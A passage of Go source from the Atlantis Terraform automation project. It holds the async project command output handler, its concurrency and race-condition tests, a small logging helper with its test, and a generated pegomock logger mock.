*AsyncProjectCommandOutputHandler) Handle() { for msg := range p.projectCmdOutput { if msg.OperationComplete { p.completeJob(msg.JobID) continue } // Add job to pullToJob mapping if _, ok := p.pullToJobMapping.Load(msg.JobInfo.PullInfo); !ok { p.pullToJobMapping.Store(msg.JobInfo.PullInfo, &sync.Map{}) } value, _ := p.pullToJobMapping.Load(msg.JobInfo.PullInfo) jobMapping := value.(*sync.Map) jobMapping.Store(msg.JobID, JobIDInfo{ JobID: msg.JobID, JobDescription: msg.JobInfo.JobDescription, Time: time.Now(), JobStep: msg.JobInfo.JobStep, }) // Forward new message to all receiver channels and output buffer p.writeLogLine(msg.JobID, msg.Line) } } func (p *AsyncProjectCommandOutputHandler) completeJob(jobID string) { p.projectOutputBuffersLock.Lock() p.receiverBuffersLock.Lock() defer func() { p.projectOutputBuffersLock.Unlock() p.receiverBuffersLock.Unlock() }() // Update operation status to complete if outputBuffer, ok := p.projectOutputBuffers[jobID]; ok { outputBuffer.OperationComplete = true p.projectOutputBuffers[jobID] = outputBuffer } // Close active receiver channels if openChannels, ok := p.receiverBuffers[jobID]; ok { for ch := range openChannels { close(ch) } } } func (p *AsyncProjectCommandOutputHandler) addChan(ch chan string, jobID string) { p.projectOutputBuffersLock.RLock() outputBuffer := p.projectOutputBuffers[jobID] p.projectOutputBuffersLock.RUnlock() for _, line := range outputBuffer.Buffer { ch <- line } // No need register receiver since all the logs have been streamed if outputBuffer.OperationComplete { close(ch) return } // add the channel to our registry after we backfill the contents of the buffer, // to prevent new messages coming in interleaving with this backfill. p.receiverBuffersLock.Lock() if p.receiverBuffers[jobID] == nil { p.receiverBuffers[jobID] = map[chan string]bool{} } p.receiverBuffers[jobID][ch] = true p.receiverBuffersLock.Unlock() } // Add log line to buffer and send to all current channels func (p *AsyncProjectCommandOutputHandler) writeLogLine(jobID string, line string) { p.receiverBuffersLock.Lock() for ch := range p.receiverBuffers[jobID] { select { case ch <- line: default: // Delete buffered channel if it's blocking. delete(p.receiverBuffers[jobID], ch) } } p.receiverBuffersLock.Unlock() p.projectOutputBuffersLock.Lock() if _, ok := p.projectOutputBuffers[jobID]; !ok { p.projectOutputBuffers[jobID] = OutputBuffer{ Buffer: []string{}, } } outputBuffer := p.projectOutputBuffers[jobID] outputBuffer.Buffer = append(outputBuffer.Buffer, line) p.projectOutputBuffers[jobID] = outputBuffer p.projectOutputBuffersLock.Unlock() } // Remove channel, so client no longer receives Terraform output func (p *AsyncProjectCommandOutputHandler) Deregister(jobID string, ch chan string) { p.logger.Debug("Removing channel for %s", jobID) p.receiverBuffersLock.Lock() delete(p.receiverBuffers[jobID], ch) p.receiverBuffersLock.Unlock() } func (p *AsyncProjectCommandOutputHandler) GetReceiverBufferForPull(jobID string) map[chan string]bool { p.receiverBuffersLock.RLock() defer p.receiverBuffersLock.RUnlock() return p.receiverBuffers[jobID] } func (p *AsyncProjectCommandOutputHandler) GetProjectOutputBuffer(jobID string) OutputBuffer { p.projectOutputBuffersLock.RLock() defer p.projectOutputBuffersLock.RUnlock() return p.projectOutputBuffers[jobID] } func (p *AsyncProjectCommandOutputHandler) GetJobIDMapForPull(pullInfo PullInfo) map[string]JobIDInfo { result := make(map[string]JobIDInfo) if value, ok := p.pullToJobMapping.Load(pullInfo); ok { jobIDSyncMap := value.(*sync.Map) jobIDSyncMap.Range(func(k, v any) bool { result[k.(string)] = v.(JobIDInfo) return true }) return result } return nil } func (p *AsyncProjectCommandOutputHandler) CleanUp(pullInfo PullInfo) { if value, ok := p.pullToJobMapping.Load(pullInfo); ok { jobIDSyncMap := value.(*sync.Map) jobIDSyncMap.Range(func(k, _ any) bool { jobID := k.(string) p.projectOutputBuffersLock.Lock() delete(p.projectOutputBuffers, jobID) p.projectOutputBuffersLock.Unlock() p.receiverBuffersLock.Lock() delete(p.receiverBuffers, jobID) p.receiverBuffersLock.Unlock() return true }) // Remove job mapping p.pullToJobMapping.Delete(pullInfo) } } // NoopProjectOutputHandler is a mock that doesn't do anything type NoopProjectOutputHandler struct{} func (p *NoopProjectOutputHandler) Send(_ command.ProjectContext, _ string, _ bool) { } func (p *NoopProjectOutputHandler) SendWorkflowHook(_ models.WorkflowHookCommandContext, _ string, _ bool) { } func (p *NoopProjectOutputHandler) Register(_ string, _ chan string) {} func (p *NoopProjectOutputHandler) Deregister(_ string, _ chan string) {} func (p *NoopProjectOutputHandler) Handle() { } func (p *NoopProjectOutputHandler) CleanUp(_ PullInfo) { } func (p *NoopProjectOutputHandler) IsKeyExists(_ string) bool { return false } func (p *NoopProjectOutputHandler) GetPullToJobMapping() []PullInfoWithJobIDs { return []PullInfoWithJobIDs{} } ================================================ FILE: server/jobs/project_command_output_handler_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package jobs_test import ( "fmt" "sync" "testing" "time" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/jobs" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" "github.com/stretchr/testify/assert" ) func createTestProjectCmdContext(t *testing.T) command.ProjectContext { logger := logging.NewNoopLogger(t) return command.ProjectContext{ BaseRepo: models.Repo{ Name: "test-repo", Owner: "test-org", }, HeadRepo: models.Repo{ Name: "test-repo", Owner: "test-org", }, Pull: models.PullRequest{ Num: 1, HeadBranch: "main", BaseBranch: "main", Author: "test-user", HeadCommit: "234r232432", }, User: models.User{ Username: "test-user", }, Log: logger, Workspace: "myworkspace", RepoRelDir: "test-dir", ProjectName: "test-project", JobID: "1234", } } func createProjectCommandOutputHandler(t *testing.T) jobs.ProjectCommandOutputHandler { logger := logging.NewNoopLogger(t) prjCmdOutputChan := make(chan *jobs.ProjectCmdOutputLine) prjCmdOutputHandler := jobs.NewAsyncProjectCommandOutputHandler( prjCmdOutputChan, logger, ) go func() { prjCmdOutputHandler.Handle() }() return prjCmdOutputHandler } func TestProjectCommandOutputHandler(t *testing.T) { Msg := "Test Terraform Output" ctx := createTestProjectCmdContext(t) t.Run("receive message from main channel", func(t *testing.T) { var wg sync.WaitGroup var expectedMsg string projectOutputHandler := createProjectCommandOutputHandler(t) ch := make(chan string, 1) // register channel and backfill from buffer // Note: We call this synchronously because otherwise // there could be a race where we are unable to register the channel // before sending messages due to the way we lock our buffer memory cache projectOutputHandler.Register(ctx.JobID, ch) wg.Add(1) // read from channel go func() { for msg := range ch { expectedMsg = msg wg.Done() } }() projectOutputHandler.Send(ctx, Msg, false) wg.Wait() close(ch) // Wait for the msg to be read. wg.Wait() Equals(t, expectedMsg, Msg) }) t.Run("copies buffer to new channels", func(t *testing.T) { var wg sync.WaitGroup projectOutputHandler := createProjectCommandOutputHandler(t) // send first message to populated the buffer projectOutputHandler.Send(ctx, Msg, false) ch := make(chan string, 2) receivedMsgs := []string{} wg.Add(1) // read from channel asynchronously go func() { for msg := range ch { receivedMsgs = append(receivedMsgs, msg) // we're only expecting two messages here. if len(receivedMsgs) >= 2 { wg.Done() } } }() // register channel and backfill from buffer // Note: We call this synchronously because otherwise // there could be a race where we are unable to register the channel // before sending messages due to the way we lock our buffer memory cache projectOutputHandler.Register(ctx.JobID, ch) projectOutputHandler.Send(ctx, Msg, false) wg.Wait() close(ch) expectedMsgs := []string{Msg, Msg} assert.Len(t, receivedMsgs, len(expectedMsgs)) for i := range expectedMsgs { assert.Equal(t, expectedMsgs[i], receivedMsgs[i]) } }) t.Run("clean up all jobs when PR is closed", func(t *testing.T) { var wg sync.WaitGroup projectOutputHandler := createProjectCommandOutputHandler(t) ch := make(chan string, 2) // register channel and backfill from buffer // Note: We call this synchronously because otherwise // there could be a race where we are unable to register the channel // before sending messages due to the way we lock our buffer memory cache projectOutputHandler.Register(ctx.JobID, ch) wg.Add(1) // read from channel go func() { for msg := range ch { if msg == "Complete" { wg.Done() } } }() projectOutputHandler.Send(ctx, Msg, false) projectOutputHandler.Send(ctx, "Complete", false) pullContext := jobs.PullInfo{ PullNum: ctx.Pull.Num, Repo: ctx.BaseRepo.Name, RepoFullName: ctx.BaseRepo.FullName, ProjectName: ctx.ProjectName, Path: ctx.RepoRelDir, Workspace: ctx.Workspace, } wg.Wait() // Must finish reading messages before cleaning up projectOutputHandler.CleanUp(pullContext) // Check all the resources are cleaned up. dfProjectOutputHandler, ok := projectOutputHandler.(*jobs.AsyncProjectCommandOutputHandler) assert.True(t, ok) assert.Empty(t, dfProjectOutputHandler.GetProjectOutputBuffer(ctx.JobID)) assert.Empty(t, dfProjectOutputHandler.GetReceiverBufferForPull(ctx.JobID)) assert.Empty(t, dfProjectOutputHandler.GetJobIDMapForPull(pullContext)) }) t.Run("mark operation status complete and close conn buffers for the job", func(t *testing.T) { projectOutputHandler := createProjectCommandOutputHandler(t) ch := make(chan string, 2) // register channel and backfill from buffer // Note: We call this synchronously because otherwise // there could be a race where we are unable to register the channel // before sending messages due to the way we lock our buffer memory cache projectOutputHandler.Register(ctx.JobID, ch) // read from channel go func() { for range ch { //revive:disable-line:empty-block } }() projectOutputHandler.Send(ctx, Msg, false) projectOutputHandler.Send(ctx, "", true) // Wait for the handler to process the message time.Sleep(10 * time.Millisecond) dfProjectOutputHandler, ok := projectOutputHandler.(*jobs.AsyncProjectCommandOutputHandler) assert.True(t, ok) outputBuffer := dfProjectOutputHandler.GetProjectOutputBuffer(ctx.JobID) assert.True(t, outputBuffer.OperationComplete) _, ok = (<-ch) assert.False(t, ok) }) t.Run("close conn buffer after streaming logs for completed operation", func(t *testing.T) { projectOutputHandler := createProjectCommandOutputHandler(t) ch := make(chan string) // register channel and backfill from buffer // Note: We call this synchronously because otherwise // there could be a race where we are unable to register the channel // before sending messages due to the way we lock our buffer memory cache projectOutputHandler.Register(ctx.JobID, ch) // read from channel go func() { for range ch { //revive:disable-line:empty-block } }() projectOutputHandler.Send(ctx, Msg, false) projectOutputHandler.Send(ctx, "", true) // Wait for the handler to process the message time.Sleep(10 * time.Millisecond) ch2 := make(chan string, 2) opComplete := make(chan bool) // buffer channel will be closed immediately after logs are streamed go func() { for range ch2 { //revive:disable-line:empty-block } opComplete <- true }() projectOutputHandler.Register(ctx.JobID, ch2) assert.True(t, <-opComplete) }) } // TestRaceConditionPrevention tests that our fixes prevent the specific race conditions func TestRaceConditionPrevention(t *testing.T) { logger := logging.NewNoopLogger(t) prjCmdOutputChan := make(chan *jobs.ProjectCmdOutputLine) handler := jobs.NewAsyncProjectCommandOutputHandler(prjCmdOutputChan, logger) // Start the handler go handler.Handle() ctx := createTestProjectCmdContext(t) pullInfo := jobs.PullInfo{ PullNum: ctx.Pull.Num, Repo: ctx.BaseRepo.Name, RepoFullName: ctx.BaseRepo.FullName, ProjectName: ctx.ProjectName, Path: ctx.RepoRelDir, Workspace: ctx.Workspace, } t.Run("concurrent pullToJobMapping access", func(t *testing.T) { var wg sync.WaitGroup numGoroutines := 50 // This test specifically targets the original race condition // that was fixed by using sync.Map for pullToJobMapping // Concurrent writers (Handle() method updates the mapping) for i := range numGoroutines { wg.Add(1) go func(id int) { defer wg.Done() // Send message which triggers Handle() to update pullToJobMapping handler.Send(ctx, fmt.Sprintf("message-%d", id), false) }(i) } // Concurrent readers (GetPullToJobMapping() method reads the mapping) for range numGoroutines { wg.Go(func() { // This would race with Handle() before the sync.Map fix mappings := handler.GetPullToJobMapping() _ = mappings }) } // Concurrent readers of GetJobIDMapForPull for range numGoroutines { wg.Go(func() { // This would also race with Handle() before the fix jobMap := handler.(*jobs.AsyncProjectCommandOutputHandler).GetJobIDMapForPull(pullInfo) _ = jobMap }) } wg.Wait() }) t.Run("concurrent buffer access", func(t *testing.T) { var wg sync.WaitGroup numGoroutines := 30 // First populate some data handler.Send(ctx, "initial", false) time.Sleep(5 * time.Millisecond) // Test the race condition we fixed in GetProjectOutputBuffer for range numGoroutines { wg.Go(func() { // This would race with completeJob() before the RLock fix buffer := handler.(*jobs.AsyncProjectCommandOutputHandler).GetProjectOutputBuffer(ctx.JobID) _ = buffer }) } // Concurrent operations that modify the buffer for i := range numGoroutines { wg.Add(1) go func(id int) { defer wg.Done() if id%10 == 0 { // Occasionally complete a job to test completeJob() race handler.Send(ctx, "", true) } else { handler.Send(ctx, "test", false) } }(i) } wg.Wait() }) // Clean up close(prjCmdOutputChan) } // TestHighConcurrencyStress performs stress testing with many concurrent operations func TestHighConcurrencyStress(t *testing.T) { if testing.Short() { t.Skip("Skipping stress test in short mode") } logger := logging.NewNoopLogger(t) prjCmdOutputChan := make(chan *jobs.ProjectCmdOutputLine) handler := jobs.NewAsyncProjectCommandOutputHandler(prjCmdOutputChan, logger) // Start the handler go handler.Handle() var wg sync.WaitGroup numWorkers := 20 operationsPerWorker := 100 // Multiple workers performing mixed operations wg.Add(numWorkers) for worker := range numWorkers { go func(workerID int) { defer wg.Done() ctx := createTestProjectCmdContext(t) ctx.JobID = "worker-job-" + fmt.Sprintf("%d", workerID) ctx.Pull.Num = workerID pullInfo := jobs.PullInfo{ PullNum: ctx.Pull.Num, Repo: ctx.BaseRepo.Name, RepoFullName: ctx.BaseRepo.FullName, ProjectName: ctx.ProjectName, Path: ctx.RepoRelDir, Workspace: ctx.Workspace, } for op := range operationsPerWorker { switch op % 6 { case 0: // Send messages handler.Send(ctx, "stress test message", false) case 1: // Read pull to job mapping mappings := handler.GetPullToJobMapping() _ = mappings case 2: // Read job ID map for pull jobMap := handler.(*jobs.AsyncProjectCommandOutputHandler).GetJobIDMapForPull(pullInfo) _ = jobMap case 3: // Read project output buffer buffer := handler.(*jobs.AsyncProjectCommandOutputHandler).GetProjectOutputBuffer(ctx.JobID) _ = buffer case 4: // Read receiver buffer receivers := handler.(*jobs.AsyncProjectCommandOutputHandler).GetReceiverBufferForPull(ctx.JobID) _ = receivers case 5: // Occasional cleanup if op%20 == 0 { handler.CleanUp(pullInfo) } } } }(worker) } wg.Wait() close(prjCmdOutputChan) } ================================================ FILE: server/logging/log.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package logging import ( "io" "log" ) // SuppressDefaultLogging suppresses the default logging func SuppressDefaultLogging() { // Some packages use the default logger, so we need to suppress it. (such as uber-go/tally) log.SetOutput(io.Discard) } ================================================ FILE: server/logging/logging_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package logging_test import ( "testing" "github.com/runatlantis/atlantis/server/logging" "github.com/stretchr/testify/assert" ) func TestStructuredLoggerSavesHistory(t *testing.T) { logger := logging.NewNoopLogger(t) historyLogger := logger.WithHistory() expectedStr := "[DBUG] Hello World\n[INFO] foo bar\n" historyLogger.Debug("Hello World") historyLogger.Info("foo bar") assert.Equal(t, expectedStr, historyLogger.GetHistory()) } ================================================ FILE: server/logging/mocks/mock_simple_logging.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/logging (interfaces: SimpleLogging) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockSimpleLogging struct { fail func(message string, callerSkip ...int) } func NewMockSimpleLogging(options ...pegomock.Option) *MockSimpleLogging { mock := &MockSimpleLogging{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockSimpleLogging) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockSimpleLogging) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockSimpleLogging) Debug(format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{format} for _, param := range a { _params = append(_params, param) } pegomock.GetGenericMockFrom(mock).Invoke("Debug", _params, []reflect.Type{}) } func (mock *MockSimpleLogging) Err(format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{format} for _, param := range a { _params = append(_params, param) } pegomock.GetGenericMockFrom(mock).Invoke("Err", _params, []reflect.Type{}) } func (mock *MockSimpleLogging) Flush() error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("Flush", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockSimpleLogging) GetHistory() string { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetHistory", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) var _ret0 string if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } } return _ret0 } func (mock *MockSimpleLogging) Info(format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{format} for _, param := range a { _params = append(_params, param) } pegomock.GetGenericMockFrom(mock).Invoke("Info", _params, []reflect.Type{}) } func (mock *MockSimpleLogging) Log(level logging.LogLevel, format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{level, format} for _, param := range a { _params = append(_params, param) } pegomock.GetGenericMockFrom(mock).Invoke("Log", _params, []reflect.Type{}) } func (mock *MockSimpleLogging) SetLevel(lvl logging.LogLevel) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{lvl} pegomock.GetGenericMockFrom(mock).Invoke("SetLevel", _params, []reflect.Type{}) } func (mock *MockSimpleLogging) Warn(format string, a ...interface{}) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{format} for _, param := range a { _params = append(_params, param) } pegomock.GetGenericMockFrom(mock).Invoke("Warn", _params, []reflect.Type{}) } func (mock *MockSimpleLogging) With(a ...interface{}) logging.SimpleLogging { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{} for _, param := range a { _params = append(_params, param) } _result := pegomock.GetGenericMockFrom(mock).Invoke("With", _params, []reflect.Type{reflect.TypeOf((*logging.SimpleLogging)(nil)).Elem()}) var _ret0 logging.SimpleLogging if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(logging.SimpleLogging) } } return _ret0 } func (mock *MockSimpleLogging) WithHistory(a ...interface{}) logging.SimpleLogging { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } _params := []pegomock.Param{} for _, param := range a { _params = append(_params, param) } _result := pegomock.GetGenericMockFrom(mock).Invoke("WithHistory", _params, []reflect.Type{reflect.TypeOf((*logging.SimpleLogging)(nil)).Elem()}) var _ret0 logging.SimpleLogging if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(logging.SimpleLogging) } } return _ret0 } func (mock *MockSimpleLogging) VerifyWasCalledOnce() *VerifierMockSimpleLogging { return &VerifierMockSimpleLogging{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockSimpleLogging) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSimpleLogging { return &VerifierMockSimpleLogging{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockSimpleLogging) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSimpleLogging { return &VerifierMockSimpleLogging{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockSimpleLogging) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSimpleLogging { return &VerifierMockSimpleLogging{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockSimpleLogging struct { mock *MockSimpleLogging invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockSimpleLogging) Debug(format string, a ...interface{}) *MockSimpleLogging_Debug_OngoingVerification { _params := []pegomock.Param{format} for _, param := range a { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Debug", _params, verifier.timeout) return &MockSimpleLogging_Debug_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_Debug_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_Debug_OngoingVerification) GetCapturedArguments() (string, []interface{}) { format, a := c.GetAllCapturedArguments() return format[len(format)-1], a[len(a)-1] } func (c *MockSimpleLogging_Debug_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } _param1 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param1[u] = make([]interface{}, len(_params)-1) for x := 1; x < len(_params); x++ { if _params[x][u] != nil { _param1[u][x-1] = _params[x][u].(interface{}) } } } } return } func (verifier *VerifierMockSimpleLogging) Err(format string, a ...interface{}) *MockSimpleLogging_Err_OngoingVerification { _params := []pegomock.Param{format} for _, param := range a { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Err", _params, verifier.timeout) return &MockSimpleLogging_Err_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_Err_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_Err_OngoingVerification) GetCapturedArguments() (string, []interface{}) { format, a := c.GetAllCapturedArguments() return format[len(format)-1], a[len(a)-1] } func (c *MockSimpleLogging_Err_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } _param1 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param1[u] = make([]interface{}, len(_params)-1) for x := 1; x < len(_params); x++ { if _params[x][u] != nil { _param1[u][x-1] = _params[x][u].(interface{}) } } } } return } func (verifier *VerifierMockSimpleLogging) Flush() *MockSimpleLogging_Flush_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Flush", _params, verifier.timeout) return &MockSimpleLogging_Flush_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_Flush_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_Flush_OngoingVerification) GetCapturedArguments() { } func (c *MockSimpleLogging_Flush_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockSimpleLogging) GetHistory() *MockSimpleLogging_GetHistory_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetHistory", _params, verifier.timeout) return &MockSimpleLogging_GetHistory_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_GetHistory_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_GetHistory_OngoingVerification) GetCapturedArguments() { } func (c *MockSimpleLogging_GetHistory_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockSimpleLogging) Info(format string, a ...interface{}) *MockSimpleLogging_Info_OngoingVerification { _params := []pegomock.Param{format} for _, param := range a { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Info", _params, verifier.timeout) return &MockSimpleLogging_Info_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_Info_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_Info_OngoingVerification) GetCapturedArguments() (string, []interface{}) { format, a := c.GetAllCapturedArguments() return format[len(format)-1], a[len(a)-1] } func (c *MockSimpleLogging_Info_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } _param1 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param1[u] = make([]interface{}, len(_params)-1) for x := 1; x < len(_params); x++ { if _params[x][u] != nil { _param1[u][x-1] = _params[x][u].(interface{}) } } } } return } func (verifier *VerifierMockSimpleLogging) Log(level logging.LogLevel, format string, a ...interface{}) *MockSimpleLogging_Log_OngoingVerification { _params := []pegomock.Param{level, format} for _, param := range a { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Log", _params, verifier.timeout) return &MockSimpleLogging_Log_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_Log_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_Log_OngoingVerification) GetCapturedArguments() (logging.LogLevel, string, []interface{}) { level, format, a := c.GetAllCapturedArguments() return level[len(level)-1], format[len(format)-1], a[len(a)-1] } func (c *MockSimpleLogging_Log_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.LogLevel, _param1 []string, _param2 [][]interface{}) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.LogLevel, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.LogLevel) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } _param2 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param2[u] = make([]interface{}, len(_params)-2) for x := 2; x < len(_params); x++ { if _params[x][u] != nil { _param2[u][x-2] = _params[x][u].(interface{}) } } } } return } func (verifier *VerifierMockSimpleLogging) SetLevel(lvl logging.LogLevel) *MockSimpleLogging_SetLevel_OngoingVerification { _params := []pegomock.Param{lvl} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SetLevel", _params, verifier.timeout) return &MockSimpleLogging_SetLevel_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_SetLevel_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_SetLevel_OngoingVerification) GetCapturedArguments() logging.LogLevel { lvl := c.GetAllCapturedArguments() return lvl[len(lvl)-1] } func (c *MockSimpleLogging_SetLevel_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.LogLevel) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.LogLevel, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.LogLevel) } } } return } func (verifier *VerifierMockSimpleLogging) Warn(format string, a ...interface{}) *MockSimpleLogging_Warn_OngoingVerification { _params := []pegomock.Param{format} for _, param := range a { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Warn", _params, verifier.timeout) return &MockSimpleLogging_Warn_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_Warn_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_Warn_OngoingVerification) GetCapturedArguments() (string, []interface{}) { format, a := c.GetAllCapturedArguments() return format[len(format)-1], a[len(a)-1] } func (c *MockSimpleLogging_Warn_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } _param1 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param1[u] = make([]interface{}, len(_params)-1) for x := 1; x < len(_params); x++ { if _params[x][u] != nil { _param1[u][x-1] = _params[x][u].(interface{}) } } } } return } func (verifier *VerifierMockSimpleLogging) With(a ...interface{}) *MockSimpleLogging_With_OngoingVerification { _params := []pegomock.Param{} for _, param := range a { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "With", _params, verifier.timeout) return 